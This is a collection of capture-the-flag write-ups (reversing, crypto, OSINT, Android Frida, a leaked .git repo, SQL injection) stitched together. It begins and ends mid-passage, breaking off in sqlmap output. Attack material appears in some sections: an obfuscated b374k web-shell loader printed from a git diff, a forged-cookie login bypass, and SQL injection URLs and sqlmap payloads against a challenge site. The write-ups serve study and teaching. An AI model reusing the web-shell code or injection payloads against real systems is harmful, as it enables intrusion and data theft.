for ch in enc: ch = ord(ch)
evens += printable(even_rev(ch)) odds += printable(odd_rev(ch))
print(f'part 4 even rev: "{evens}"') print(f'part 4 odd rev: "{odds}"')```
the output is:```part 4 even rev: "Ff60&,R6 r 4t 0NT"part 4 odd rev: "o _YOU{_C 3] 1Yw}"```
and looking a bit sharp, one can easily find it out: `of_YOUR_Cr34t10N}`
let's go for the last function, `nidaime`, which corresponds for 2nd input (or part of the flag).
its decompiled code is as follow:```uint32_t __cdecl nidaime(char*)(int32_t arg_8h){ char cVar1; char cVar2; uint8_t *puVar3; uint32_t var_70h; int32_t var_6ch; int32_t var_68h; int32_t var_54h; int32_t var_50h; int32_t var_4ch; int32_t var_34h; int32_t var_30h; int32_t var_2ah; int32_t var_20h; int32_t var_1ch; int32_t var_18h; int32_t var_ch; __Unwind_SjLj_Register(); std::allocator<char>::allocator()(); std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&) (); convert_ASCII(std::string)((int32_t)&var_34h, (int32_t)&var_30h); std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(); std::allocator<char>::~allocator()(); cVar1 = XOR(char, char)((int32_t)*(char *)(arg_8h + 0x11), 0x31); cVar2 = XOR(char, char)((int32_t)*(char *)(arg_8h + 0x12), 0x31); if ((cVar1 == '0') && (cVar2 == '1')) { var_1ch = 0; while (var_1ch < 0x11) { cVar1 = *(char *)(arg_8h + var_1ch); puVar3 = (uint8_t *)std::string::operator[](unsigned int)(var_1ch); if ((uint8_t)~(cVar1 + 0xdU) != *puVar3) { var_70h = 0; goto code_r0x00401626; } var_1ch = var_1ch + 1; } var_70h = 1; } else { var_70h = 0; }code_r0x00401626: std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(); __Unwind_SjLj_Unregister(&var_6ch); return var_70h;}```
it simple checks each character of input like this: `~(inp[i] + 13) == enc[i]`
to reverse it, we can use this python code:```def crack_2(enc): ret = ''
for ch in enc: ret += chr(((~ord(ch)) & 0xff) - 13)
return ret```
so... now we've solved each part of flag checks, let's put the script together:```def crack_1(enc): first = 'RaziCTF{' last = ''
for i in range(len(first)): last += chr(ord(first[i]) ^ ord(enc[i]))
return first + 'd' + last[::-1]
def crack_2(enc): ret = ''
for ch in enc: ret += chr(((~ord(ch)) & 0xff) - 13)
return ret
def crack_3(enc): ret = ''
for i, ch in enumerate(enc): ret += chr(ord(ch) + (16 - i))
return ret
def crack_4(enc): # comment this to see differnt branch paths separated return 'of_YOUR_Cr34t10N}' # I had to do it manually
odd_rev = lambda n: ((n + 10) * 2 + 1) & 0xff even_rev = lambda n: ((n - 10) * 2) & 0xff
is_even = lambda n: (n % 2) != 0 printable = lambda n: chr(n) if 0x1f < n < 0x7f else ' '
evens = '' odds = ''
for ch in enc: ch = ord(ch)
evens += printable(even_rev(ch)) odds += printable(odd_rev(ch))
print(f'part 4 evens rev: "{evens}"') print(f'part 4 odds rev: "{odds}"')
if __name__ == '__main__': part1 = crack_1('\x63\x0c\x25\x1d\x0c\x3a\x19\x4b') part2 = crack_2('\x7f\x7d\x84\x8e\xbf\xa0\x7f\x9e\xbe\xa4\x8e\x93\xbb\x8a\x89\x9f\x93') part3 = crack_3('\x39\x44\x51\x41\x24\x69\x55\x6b\x40\x5e\x59\x6b\x4b\x74\x31\x71\x5f') part4 = crack_4('\x2d\x3d\x25\x22\x1d\x20\x33\x25\x17\x43\x0f\x24\x44\x0e\x22\x31\x34')
print('part 1:', part1) print('part 2:', part2) print('part 3:', part3) print('part 4:', part4)
print('flag:', part1 + part2 + part3 + part4)```
and let's run it and get the flag: `RaziCTF{d0_nOt_m1sund3RsT4Nd_7hiS_IS_N0t_tHe_pOw3r_of_YOUR_Cr34t10N}` |
```Is this a dream or not? Use your totem to find out. Flag format: ctf{}.nc chal.ctf.b01lers.com 2008```[totem-template.py](https://github.com/ducng99/ctf/blob/main/b01lers/crypto/totem/totem-template.py)
Now this is a pain in the ass.
Netcat to the server above, we are greet with questions asking us to decrypt or decode the given cipher. Reading the template they gave, the server have 4 types of encrypt/encode: bacon, base64, atbash and rot13. A quick search will give us a basic how-to solve these. Another thing to note is```pyif count == 1000: print(r.recv())```Yeah, we need to solve 1000 questions. But of course we programmers (I hope).
So I have made this cheesy python script to parse method and ciphertext then solve them and send back to the server 1000 times, then read the final message, which is our flag
Maybe there's a shorter script, but like I said, very cheesie
[solver.py](https://github.com/ducng99/ctf/blob/main/b01lers/crypto/totem/solver.py) |
[https://crcksec.blogspot.com/2020/10/syskron-ctf-2020-beginner-writeup.html#leak_aud](https://crcksec.blogspot.com/2020/10/syskron-ctf-2020-beginner-writeup.html#leak_aud) |
Following the provided link, we find a page that is completely blank other than a password prompt. Given that this challenge is in the `git` category, the first thing I checked was whether I could access a `.git` directory. When I changed the url to `http://head.eko.cap.tf:30000/.git`, I was redirected to `http://head.eko.cap.tf:30000/.git/`, nice. At `http://head.eko.cap.tf:30000/.git/HEAD` I got this response:```ref: refs/heads/master```We have access to the site's source control. Next, we can use something like `gitdumper.sh` from [GitTools](https://github.com/internetwache/GitTools) to pull down the whole repository. Let's take a look at the repository's commit history with `git log`:```commit b7d095eea87d18b2a1ca4a68733d5266bbc19de4 (HEAD -> master)Author: DC <[email protected]>Date: Thu Sep 24 03:03:50 2020 +0000
Final commit
commit 26925bc713d9cfc666112c9cc62ab49c6671a03eAuthor: DC <[email protected]>Date: Thu Sep 24 03:02:53 2020 +0000
Bad files removal
commit 179e12491a2628c71bb854514f3b05cdf7cb546dAuthor: DC <[email protected]>Date: Thu Sep 24 03:02:21 2020 +0000
Security enhance
commit 783ec943507158f27e4921963c8a2d7bfd02999dAuthor: DC <[email protected]>Date: Thu Sep 24 03:01:38 2020 +0000
File creation
commit 5d6b2408488d0f29d687610a49cab40298a6d01bAuthor: DC <[email protected]>Date: Thu Sep 24 02:49:03 2020 +0000
First commit
commit 96575dcf9117e54d34233c1bac9bf5d4efda7103Author: DC <[email protected]>Date: Thu Sep 24 02:42:16 2020 +0000
Final commit
commit 39f280f51d37fdc3a0181a0802ae2214041faaf7Author: DC <[email protected]>Date: Thu Sep 24 02:41:57 2020 +0000
Bad files
commit 190507b3bd67dff13d168ffd0886f60e77b7d2faAuthor: DC <[email protected]>Date: Thu Sep 24 02:41:03 2020 +0000
Security enhance
commit 71693af6f6a71b39e0e10375163daafe94e4af20Author: DC <[email protected]>Date: Thu Sep 24 02:39:40 2020 +0000
File creation
commit c95c2b60fadf178c1a3ac84c6c404a308e919987Author: DC <[email protected]>Date: Thu Sep 24 02:38:45 2020 +0000
Repo init```"Security Enhance?" With `git show 179e12491a2628c71bb854514f3b05cdf7cb546d` we can take a closer look at what that commit changed:```commit 179e12491a2628c71bb854514f3b05cdf7cb546dAuthor: DC <[email protected]>Date: Thu Sep 24 03:02:21 2020 +0000
Security enhance
diff --git a/shell.php b/shell.phpindex ebd457e..c568771 100755--- a/shell.php+++ b/shell.php@@ -6,5 +6,5 @@ https://github.com/b374k/b374k
*/-$GLOBALS['pass'] = "1e7a1d03e274e66e22bfabf2d8f4a0408970e354"; // sha1(md5(pass))-$func="cr"."eat"."e_fun"."cti"."on";$b374k=$func('$x','ev'.'al'.'("?>".gz'.'un'.'com'.'pre'.'ss(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$b374k("eNrs/Wm74jiyKAp/r19Br5O311qbzLTBgO3Kyuw2YDPPxgxddfPxbIMnPGK6+r ...+$GLOBALS['pass'] = file_get_contents('../secret'); // sha1(md5(pass))+$func="cr"."eat"."e_fun"."cti"."on";$b374k=$func('$x','ev'.'al'.'("?>".gz'.'un'.'com'.'pre'.'ss(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$b374k("eNrs/Wm74jiyKAp/r19Br5O311qbzLTBgO3Kyuw2YDPPxgxddfPxbIMnPGK6+r9fyTZghjVkVe39nveeW/10LiyFQiEpFIoISaFf/uFoTuFDqz+qU/3Zvx5NWwoM+btvfzdsXnr8rfC1wLsuHz89yHvHsF3ZffhYePBl19Qt3oC/5TD9K9pWKLs+/CnxPi/wngx/65Ziw78mrydgluxHtruFPx3XFmXPk72H5y//+PYLpOSnMyWu7NmBCwAef/vXo4DhlW1CzYPGLdeuO6jQVk3dUFOtQcR2n9SWE1JtSuW91q3GEYGwG2QkK7g/ns1aWDfar ...```It looks like our passsword is probably put through md5 and then sha1 hashing then compared to `GLOBALS['pass']`, and this commit just switched from having the hash hardcoded to being in a file. The hash could still be the same one, just in a different place now. After that, it looks like there's a bit of obvuscated code, lets clean that up a bit:```php$GLOBALS['pass'] = file_get_contents('../secret'); // sha1(md5(pass))$func="create_function";$b374k=$func('$x','eval("?>".gzuncompress(base64_decode($x)));');$b374k("eNrs/Wm74jiyKAp/r19Br5O311qbzLTBgO3Kyuw2YDPPxgxddfPxbIMnPGK6+r9fyTZghjVkVe39nveeW/10LiyFQiEpFIoISaFf/uFoT ...```So, the rest of the code is in this very long, compressed, base 64 encoded string. Since `gitdumper.sh` only got us the `.git` folder, we need to `git checkout` a commit to get our hands on some files. I ran `git checkout master` to make sure I was on the most recent commit to the master branch then `git stash` to recover the original state of that commit.
Next, I wrote a script to extract the encoded string, decode it, and save it to a file:```python#!/usr/bin/env python3
import base64import zlib
with open("<path to repo>/index.php") as f: txt = f.read()
a = txt.find('$b374k("')b = txt.find('");?>')
if a != -1 and b != -1: a += 8 c = txt[a:b] c = base64.b64decode(c) c = zlib.decompress(c)
with open("out.php", "wb") as f: f.write(c)```
The decoded `php` script is pretty long but here's the part that deals with the password:```phpif(!function_exists('auth')){ function auth() { if(isset($GLOBALS['pass']) && (trim($GLOBALS['pass']) != '')) { $c = $_COOKIE; $p = $_POST;
if(isset($p['pass'])) { $your_pass = sha1(md5($p['pass']));
if($your_pass==$GLOBALS['pass']) { setcookie("pass", $your_pass, time()+36000, "/"); header("Location: ".get_self()); } } if(!isset($c['pass']) || (isset($c['pass']) && ($c['pass'] != $GLOBALS['pass']))) { $res = " <html> <head> <meta charset='utf-8'> <meta name='robots' content='noindex, nofollow, noarchive'> <meta name='viewport' content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0'> </head> <body style='background:#f8f8f8;color:#000000;padding:0;margin:0;'><center><noscript>You need to enable javascript</noscript></center> <script type='text/javascript'> var d = document; d.write(\"<form method='post'><center><input type='password' id='pass' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></form>\"); d.getElementById('pass').focus(); d.getElementById('pass').setAttribute('autocomplete', 'off'); </script> </body></html> ";
<center><noscript>You need to enable javascript</noscript></center>
echo $res; die(); } } }}```
The `auth` function reads a password from the user, hashes it, stores that hash on the **client-side** (in a cookie), then compares that to the correct password hash. So, given the correct hash, we can create our own "pass" cookie and log in without knowing the password!
If we do that with the hardcoded hash from before the "Security Enhance" commit, we get in! From here we can access the parent directory and find a file named `flag`:```EKO{m4st3r_0f_g1t}``` |
After searching the image, I found its location in [Musashino, Tokyo](https://www.google.com/maps/@35.7047322,139.5615872,3a,75y,5.42h,113.22t/data=!3m6!1e1!3m4!1sY-A198BFQVm0N0YHO6fZzw!2e0!7i16384!8i8192).
Now, I had to find an animation studio nearby. So, I found `SOLA DIGITAL ARTS` near to our image. But, that wasn't the flag.
When, I clicked on it, another location popped up, which was `株)ウィットスタジオ`.
On searching this, I found the studio name to be `WIT studio`. This studio has created some famous anime such as Attack on Titan.
Flag : `RaziCTF{WITstudio}` |
The file given was decoded using XOR cipher.
After xoring the text with `RaziCTF{`, I got the key as `VERYSECURE`.
After a few trials, I found the key to be `VERYSECUREKEY`.
The decrypted text was : ```RaziCTF{d0nt_r3pe4T_kEy_1N_X0R} You cannot be buried in obscurity , you are exposed upon a grand theater to the view of the world . If your actions are upright and benevolent , be assured they will augment your power and happiness.```
Flag : `RaziCTF{d0nt_r3pe4T_kEy_1N_X0R}` |
The keywords from the Challenge Description were `GandCrab` and `father`.
Searching these words on Twitter Search led us to a [tweet](https://twitter.com/kvbNDtxL0kmIqRU/status/1052074801433595904) by a Syrian Father.
Flag : `kvbNDtxL0kmIqRU` |
# OSINT - Find the needle...
## Challenge description:
## Solution:
To solve this challenge, I used ripe.net


Using **(RIPE Database Text Search)**, I searched for **194.210**

I got 80 inetnum search results:

## Note:
Then I checked every inetnum in the search results pages, and I found this interesting one in page 6:

```66 6c 61 67 7b 75 73 45 5f 41 5f 62 69 67 5f 6d 40 67 6e 33 74 21 7d```

**flag{usE_A_big_m@gn3t!}** |
We were given a string which was base32 encoded. `GN2WUSTOLFYTCWKQLFLG65KBNVDEGMRUMMZTM4LVOFUG2R3LMNWTKTCMGVWVUR3WOM3HONDNMV3UOOKDM4ZWUTDIK5FGOY3EJV4VIMKFJUYVUWLQGJRUGYLCOQ3HG6LVHFXUC3TKJRSW6RDLNFFEWZ2TG4`
From the Challenge Description, it was clear that we had to decrypt the string using all the bases in increasing order.
The order was Base32 -> Base58 -> Base62 -> Base64 -> Base85.
The decoding was done using [Cyberchef](http://icyberchef.com/#recipe=From_Base32('A-Z2-7%3D',true)From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',true)From_Base62('0-9A-Za-z')From_Base64('A-Za-z0-9%2B/%3D',true)From_Base85('!-u')&input=R04yV1VTVE9MRllUQ1dLUUxGTEc2NUtCTlZERUdNUlVNTVpUTTRMVk9GVUcyUjNMTU5XVEtUQ01HVldWVVIzV09NM0hPTkROTVYzVU9PS0RNNFpXVVRESUs1RkdPWTNFSlY0VklNS0ZKVVlWVVdMUUdKUlVHWUxDT1EzSEc2TFZIRlhVQzNUS0pSU1c2UkRMTkZGRVdaMlRHNA).
Flag : `RaziCTF{w3_G0t_4ll_tHe_Ba$3s}` |
# Chasing a lock writeup# Our problem in short:
Bypass need of 20k clicks**We will use Frida and Jadx in this challange**
# Frida framework installationLet's setup Frida on our Android device like in this link:https://frida.re/docs/android/
And then install Frida tools on our pc:`pip3 install frida-tools`Let's now verify our installation:`frida-ps -U`If output is:` PID NAME12345 com.example.app`...you installed Frida correctly!
# Jadx decompiler installationLet's visit Jadx releases page on Githubhttps://github.com/skylot/jadx/releases/
Download latest binary and open it!
# Now let's begin!First, let's locate apk's Main activity classDo it by writing`frida-ps -U`You'll see` PID NAME12345 com.example.xyz.MainXXXXX com.example.razictf.MainActivity67890 com.modern.app.App`Now open apk in Jadx and go to`com.example.razictf.MainActivity`
We notice onClick method and inside of itcode changing our clicks left number **and this line**`String run = new switcher().run(i);` *which btw isn't best solution to call .run method*Now lets see for what `run` string is being usedit shows us something when its not null, hmmmMaybe visiting switcher.run will tell us more?Aha! This looks like code containing our flag parts
Now lets make frida script So we know what is giving us flag, lets try calling itI wrote this code to print flag for us:`const switcher = Java.use("com.example.razictf.switcher").$new();console.log(switcher.run(18)+switcher.run(15)+switcher.run(12)+switcher.run(10)+switcher.run(5));`
It doesn't tell you anything? Let me explain this simple code`Java.use("com.example.razictf.switcher")` gives us access to this class from frida api`.$new()` makes an instance of this class, now we have access to object from frida api`const switcher = Java.use("com.example.razictf.switcher").$new();` saves our object for later use
`switcher.run(xx)` calls .run method of this object with xx as argument`console.log(switcher.run(18)+switcher.run(15)+switcher.run(12)+switcher.run(10)+switcher.run(5));` prints whole flag for us
Lets launch Frida now!Go to terminal/cmd and write this command:`frida -U -f com.example.razictf --no-pause`Paste our code, and get the flag! |
we're given a PE32 exe file which we are supposed to reverse and break its serial protections.
I analyzed it a bit using cutter, didn't fully analyze it, but found out it sets different characters at different place which are not sequenced and then check each character of required `serial` input by some non-sequential character pointers.
looking at `main` function's disassembly, I found a function call which places a given character pointer or string in given address, it was repeatedly called.
a sample call is as follow:```│ 0x0040119c 6a01 push 1 ; 1│ 0x0040119e 6800524000 push 0x405200 ; "="│ 0x004011a3 8d8d20faffff lea ecx, dword [var_5e0h]│ 0x004011a9 c78530faffff. mov dword [var_5d0h], 0│ 0x004011b3 c78534faffff. mov dword [var_5cch], 0xf ; 15│ 0x004011bd c68520faffff. mov byte [var_5e0h], 0│ 0x004011c4 e8d7240000 call fcn.004036a0```
the first argument (ecx) is the address and the second argument (pushed to the stack) is the character pointer / string and the third argument is an index of size 4.
so it does something like this: `*first = *(char*)(second + third);`
later, gets input from user and checks againt the flag by copy pasted if checks (very apparent)...
a sample check:```│ 0x00401df0 6a0a push 0xa ; 10│ 0x00401df2 8b06 mov eax, dword [esi]│ 0x00401df4 8b4804 mov ecx, dword [eax + 4]│ 0x00401df7 03ce add ecx, esi│ 0x00401df9 ff1558504000 call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const] ; 0x405058 ; ">`"│ 0x00401dff 0fb6c0 movzx eax, al│ 0x00401e02 8d55d8 lea edx, dword [var_28h]│ 0x00401e05 50 push eax│ 0x00401e06 8bce mov ecx, esi│ 0x00401e08 e8131e0000 call fcn.00403c20│ 0x00401e0d 83c404 add esp, 4│ 0x00401e10 8d8520faffff lea eax, dword [var_5e0h]│ 0x00401e16 8d4dd8 lea ecx, dword [var_28h]│ 0x00401e19 50 push eax│ 0x00401e1a e821170000 call fcn.00403540│ 0x00401e1f 85c0 test eax, eax│ ┌─< 0x00401e21 0f858a090000 jne 0x4027b1```that `lea eax, dword [var_5e0h]` is where a character of flag resides in runtime.
so I ran the program in ida using an external debugger and checked the value of each `lea eax, dword [...]` of if checks and wrote them and got the flag: `RaziCTF{Protected_Source_Code_dccef51a}`
it could be solved statically in linux using radare2 + r2pipe too now I think about it... :) |
given a PE32 exe file, looked at its disassembly using cutter and found this string "CRazix0TF}{6r34_7fw1ldn"... I felt it's rather to try my luck on manual demangling/descrambling this string as it seemed to contain all characters of the flag and makes a meaningful string...
I tried, and found the flag with "Greate" super easy "Effort", LOL :P
flag: `RaziCTF{6r347_3ff0r7_w3ll_d0n3}`
though later I digged more at the disassembly too, it could be solved just like how I solved `Protected Conditions` (writeup: https://ctftime.org/writeup/24583) with a bit of slightly difference... |
# ASIS CTF Quals 2020 – Treasury
There are two different challenges under the same application.
## Treasury 1
* **Category:** web* **Points:** 47
### Challenge
> A Cultural Treasury> > https://poems.asisctf.com/
### Solution
The website contains a list of books with two actions available:* *an excerpt* to read an excerpt of the book;* *read online* which opens a link from another domain, not related to the challenge.
Analyzing the HTML source of the page a [treasury.js](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/ASIS%20CTF%20Quals%202020/Treasury/treasury.js) file can be found; it is interesting to understand performed calls.
```javascriptasync function anexcerpt(book) { const modalEl = document.createElement('div'); modalEl.style.width = '70%'; modalEl.style.height = '50%'; modalEl.style.margin = '100px auto'; modalEl.style.backgroundColor = '#fff'; modalEl.className = 'mui-panel'; const header = document.createElement('h2'); header.appendChild(document.createTextNode("An Excerpt From " + book.name)); modalEl.appendChild(header); const loading = createSpinner(modalEl); // show modal mui.overlay('on', modalEl);
const response = await fetch('books.php?type=excerpt&id=' + book.id); const bookExcerpt = await response.text(); const txtHolder = document.createElement('div'); txtHolder.className = 'mui-textfield mui--z2' const txt = document.createElement('textarea'); txt.appendChild(document.createTextNode(bookExcerpt)); txt.readOnly = true; txt.style.height = "100%"; txtHolder.appendChild(txt); txtHolder.style.height = "70%"; loading.stop(); modalEl.appendChild(txtHolder);}
function readonline(book) { window.open(book.link);}```
The home page is created with the following request.
```GET /books.php?type=list HTTP/1.1Host: poems.asisctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: */*Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: https://poems.asisctf.com/Connection: close
HTTP/1.1 200 OKServer: nginxDate: Fri, 03 Jul 2020 21:39:04 GMTContent-Type: text/html; charset=UTF-8Connection: closeX-Powered-By: PHP/7.4.7Content-Length: 604
[{"id":"1","name":"D\u012bv\u0101n of Hafez","author":"Khw\u0101ja Shams-ud-D\u012bn Mu\u1e25ammad \u1e24\u0101fe\u1e93-e Sh\u012br\u0101z\u012b","year":"1315-1390","link":"https:\/\/ganjoor.net\/hafez\/ghazal\/sh255\/"},{"id":"2","name":"Gulistan of Saadi","author":"Ab\u016b-Muhammad Muslih al-D\u012bn bin Abdall\u0101h Sh\u012br\u0101z\u012b, the Saadi","year":"1258","link":"https:\/\/ganjoor.net\/saadi\/golestan\/gbab1\/sh36\/"},{"id":"3","name":"Shahnameh of Ferdowsi","author":"Abul-Q\u00e2sem Ferdowsi Tusi","year":"977-1010","link":"https:\/\/ganjoor.net\/ferdousi\/shahname\/jamshid\/sh1\/"}]```
The excerpt button performs a request like the following.
```GET /books.php?type=excerpt&id=1 HTTP/1.1Host: poems.asisctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: */*Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: https://poems.asisctf.com/Connection: close
HTTP/1.1 200 OKServer: nginxDate: Fri, 03 Jul 2020 21:42:14 GMTContent-Type: text/html; charset=UTF-8Connection: closeX-Powered-By: PHP/7.4.7Content-Length: 1043
Joseph will come back to Canaan again, My house the fragrance of her rose-garden will regain.
0 sad heart, from hardships do not get mad,Your worries will soon end- don’t feel so sad.
If the Spring on turf-throne would remain,The bird under flower-canopy sits again. If the world turns to your favor some days,Take it easy; it won’t do so always. If God’s secrets are unknown don’t despair.Behind the mystery-curtain is a love-affair. O’Heart, if death-flood sweeps off all life,Your pilot as Noah, ends your strife. When through desert you pass for pilgrimage,If thorns bother your feet, don’t be in rage.
The road’s perilous and destination away.Yet all roads have their ends, I daresay. Enemies oppose me in absence of friend,God knows that on Him I only depend.
Hafiz, the dark, lonely nights never mind, Study and pray- thus salvation you find.
Translator:Kashani, A. A. (1984). Odes of Hafiz: Poetical horoscope. (pp. 182) Lexington: Mazda Publishers.http://www.thesongsofhafiz.com/kashani1.htm```
The read online button simply opens a window redirecting to the link specified for the book.
A URL like the following will reveal that web application is vulnerable to SQL injection, because the result of the book with `id=1` will be printed.
```https://poems.asisctf.com/books.php?type=excerpt&id=0%27%20or%20id=%271```
The following URL will spawn a weird error.
```https://poems.asisctf.com/books.php?type=excerpt&id=0%27%20union%20select%201%20%23
Warning: simplexml_load_string(): Entity: line 1: parser error : Start tag expected, '<' not found in /code/books.php on line 54
Warning: simplexml_load_string(): 1 in /code/books.php on line 54
Warning: simplexml_load_string(): ^ in /code/books.php on line 54```
It seems that the web application reads XML from a database.
You could use `sqlmap` to retrieve information.
```user@host:~$ sqlmap -u "https://poems.asisctf.com/books.php?type=excerpt&id=1" -p id --delay 3 --dbms=mysql ___ __H__ ___ ___[,]_____ ___ ___ {1.2.4#stable}|_ -| . [.] | .'| . ||___|_ [)]_|_|_|__,| _| |_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:59:52
[23:59:52] [INFO] testing connection to the target URL[23:59:57] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS[00:00:02] [INFO] testing if the target URL content is stable[00:00:06] [INFO] target URL content is stable[00:00:11] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable[00:00:15] [INFO] testing for SQL injection on GET parameter 'id'[00:00:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[00:01:05] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable[00:01:05] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'[00:01:10] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'[00:01:10] [INFO] testing 'MySQL inline queries'[00:01:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'[00:01:14] [WARNING] time-based comparison requires larger statistical model, please wait............... (done)[00:02:46] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectablefor the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y[00:03:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[00:03:27] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[00:03:37] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test[00:04:04] [INFO] target URL appears to have 1 column in query[00:04:18] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectableGET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 43 HTTP(s) requests:---Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: type=excerpt&id=1' AND 5495=5495 AND 'iTDE'='iTDE
Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: type=excerpt&id=1' AND SLEEP(5) AND 'ARUQ'='ARUQ
Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: type=excerpt&id=-6475' UNION ALL SELECT CONCAT(0x716b6b7a71,0x457747586d6c447058555961796346724f727345527752594e76446c6b4f4841425165626571464d,0x716b787171)-- eqPZ---[00:04:45] [INFO] the back-end DBMS is MySQLweb application technology: PHP 7.4.7back-end DBMS: MySQL >= 5.0.12[00:04:45] [INFO] fetched data logged to text files under '/home/ubuntu/.sqlmap/output/poems.asisctf.com'
[*] shutting down at 00:04:45
user@host:~$ sqlmap -u "https://poems.asisctf.com/books.php?type=excerpt&id=1" -p id --delay 3 --dbms=mysql --dbs ___ __H__ ___ ___[,]_____ ___ ___ {1.2.4#stable}|_ -| . [,] | .'| . ||___|_ [(]_|_|_|__,| _| |_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:05:09
[00:05:10] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: type=excerpt&id=1' AND 5495=5495 AND 'iTDE'='iTDE
Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: type=excerpt&id=1' AND SLEEP(5) AND 'ARUQ'='ARUQ
Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: type=excerpt&id=-6475' UNION ALL SELECT CONCAT(0x716b6b7a71,0x457747586d6c447058555961796346724f727345527752594e76446c6b4f4841425165626571464d,0x716b787171)-- eqPZ---[00:05:14] [INFO] testing MySQL[00:05:19] [INFO] confirming MySQL[00:05:33] [INFO] the back-end DBMS is MySQLweb application technology: PHP 7.4.7back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)[00:05:33] [INFO] fetching database names[00:05:37] [INFO] used SQL query returns 2 entries[00:05:42] [INFO] retrieved: information_schema[00:05:46] [INFO] retrieved: ASISCTFavailable databases [2]:[*] ASISCTF[*] information_schema
[00:05:46] [INFO] fetched data logged to text files under '/home/ubuntu/.sqlmap/output/poems.asisctf.com'
[*] shutting down at 00:05:46
user@host:~$ sqlmap -u "https://poems.asisctf.com/books.php?type=excerpt&id=1" -p id --delay 3 --dbms=mysql -D ASISCTF --tables ___ __H__ ___ ___[']_____ ___ ___ {1.2.4#stable}|_ -| . ["] | .'| . ||___|_ ["]_|_|_|__,| _| |_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:10:05
[00:10:05] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: type=excerpt&id=1' AND 5495=5495 AND 'iTDE'='iTDE
Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: type=excerpt&id=1' AND SLEEP(5) AND 'ARUQ'='ARUQ
Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: type=excerpt&id=-6475' UNION ALL SELECT CONCAT(0x716b6b7a71,0x457747586d6c447058555961796346724f727345527752594e76446c6b4f4841425165626571464d,0x716b787171)-- eqPZ---[00:10:10] [INFO] testing MySQL[00:10:10] [INFO] confirming MySQL[00:10:10] [INFO] the back-end DBMS is MySQLweb application technology: PHP 7.4.7back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)[00:10:10] [INFO] fetching tables for database: 'ASISCTF'[00:10:14] [INFO] used SQL query returns 1 entriesDatabase: ASISCTF[1 table]+-------+| books |+-------+
[00:10:19] [INFO] fetched data logged to text files under '/home/ubuntu/.sqlmap/output/poems.asisctf.com'
[*] shutting down at 00:10:19
user@host:~$ sqlmap -u "https://poems.asisctf.com/books.php?type=excerpt&id=1" -p id --delay 3 --dbms=mysql -D ASISCTF -T books --columns ___ __H__ ___ ___[.]_____ ___ ___ {1.2.4#stable}|_ -| . [)] | .'| . ||___|_ [']_|_|_|__,| _| |_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:11:07
